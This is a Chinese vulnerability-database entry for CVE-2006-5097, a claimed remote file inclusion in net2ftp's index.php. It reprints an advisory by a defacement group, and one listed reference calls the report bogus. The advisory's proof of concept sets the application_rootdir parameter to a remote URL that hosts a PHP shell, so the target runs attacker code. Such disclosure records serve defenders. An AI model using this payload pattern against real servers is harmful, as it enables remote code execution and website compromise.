net2ftp 'index.php' PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1193342 漏洞类型 未知
发布时间 2006-09-29 更新时间 2006-11-10
CVE编号 CVE-2006-5097 CNNVD-ID CNNVD-200609-540
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://cxsecurity.com/issue/WLB-2006100021
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-540
|漏洞详情
net2ftp可能是0.1至0.62版本的index.php中存在PHP远程文件包含漏洞,远程攻击者可以通过application_rootdir参数中的URL执行任意PHP代码。
|漏洞EXP
+--------------------------------------------------------------------

+

+ net2ftp: a web based FTP client :)  <= Remote File Inclusion

+

+--------------------------------------------------------------------

+

+ Affected Software .: net2ftp: a web based FTP client

+ Venedor ...........: http://www.net2ftp.com

+ Class .............: Remote File Inclusion

+ Risk ..............: high (Remote File Execution)

+ Found by ..........: rUnViRuS

+ Original advisory .: http://www.wdzone.net/ http://www.worlddefacers.de/

+ Contact ...........: stormhacker[at]hotmail[.]com

+

+--------------------------------------------------------------------

+

+ Code index.php:

+

+ .....

+ equire_once($application_rootdir . "/includes/authorizations.inc.php");

+ require_once($application_rootdir . "/includes/bookmark.inc.php");

+ require_once($application_rootdir . "/includes/browse.inc.php");

+ require_once($application_rootdir . "/includes/database.inc.php");

+ .....

+

+--------------------------------------------------------------------

+

+ $application_rootdir is not properly sanitized before being used.

+ The bug is in the "net2ftp" Package for net2ftp.

+

+--------------------------------------------------------------------

+

+ Solution:

+ Add this line to your php-file:

+

+ $application_rootdir ="user/dir" //Your root path

+

+--------------------------------------------------------------------

+ PoC:

+ Place a PHPShell on a remote location:

+ http://wdzone.net/sh.txt?

+

+

http://[target]/index.php?application_rootdir=http://phpshell

+

+--------------------------------------------------------------------

+ [W]orld [D]efacers [T]eam

+ Greets:

+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BlackWHITE ||

+ || Pro Hacker ||

+

+-------------------------[ W D T ]----------------------------------
|参考资料

来源:XF
名称:net2ftp-index-file-include(29203)
链接:http://xforce.iss.net/xforce/xfdb/29203
来源:BUGTRAQ
名称:20061009Re:net2ftp:awebbasedFTPclient:)<=RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/448037/100/0/threaded
来源:BUGTRAQ
名称:20061006Re:net2ftpRemoteFileInclusion-bogusreport
链接:http://www.securityfocus.com/archive/1/archive/1/447916/100/0/threaded
来源:BUGTRAQ
名称:20061002Re:net2ftp:awebbasedFTPclient:)<=RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/447535/100/0/threaded
来源:BUGTRAQ
名称:20060926net2ftp:awebbasedFTPclient:)<=RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/447156/100/0/threaded
来源:MISC
链接:http://www.net2ftp.org/forums/viewtopic.php?pid=6689
来源:MISC
链接:http://www.net2ftp.org/forums/viewtopic.php?pid=6687
来源:MISC
链接:http://www.net2ftp.org/forums/viewtopic.php?pid=6676
来源:VIM
名称:20061009net2ftp:awebbasedFTPclient:)<=RemoteFileInclusion(fwd)
链接:http://www.attrition.org/pipermail/vim/2006-October/001077.html